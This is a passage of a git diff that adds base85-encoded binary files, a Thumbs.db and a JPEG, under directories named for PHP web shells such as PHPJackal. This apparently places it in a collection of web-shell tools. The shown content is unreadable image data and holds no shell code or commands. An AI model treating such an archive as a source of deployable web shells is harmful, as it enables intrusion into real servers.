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 M-5Z$!3ZI7m1Ay+syZ`_I literal 0 HcmV?d00001 diff --git a/php/PHPshell/【PHPJackal】/Thumbs.db b/php/PHPshell/【PHPJackal】/Thumbs.db new file mode 100644 index 0000000000000000000000000000000000000000..3757c312d7c0562726e9a4e20e7ca147b22e8566 GIT binary patch literal 6656 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 Jm;Yo7{1?1oNbvvw literal 0 HcmV?d00001 diff --git a/php/PHPshell/【Shell [ci] .Biz was here】/Shell [ci] .Biz was here.jpg b/php/PHPshell/【Shell [ci] .Biz was here】/Shell [ci] .Biz was here.jpg new file mode 100644 index 0000000000000000000000000000000000000000..d4dd2f5524bf1f9e15f831460e406fc9d723b497 GIT binary patch literal 78807 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 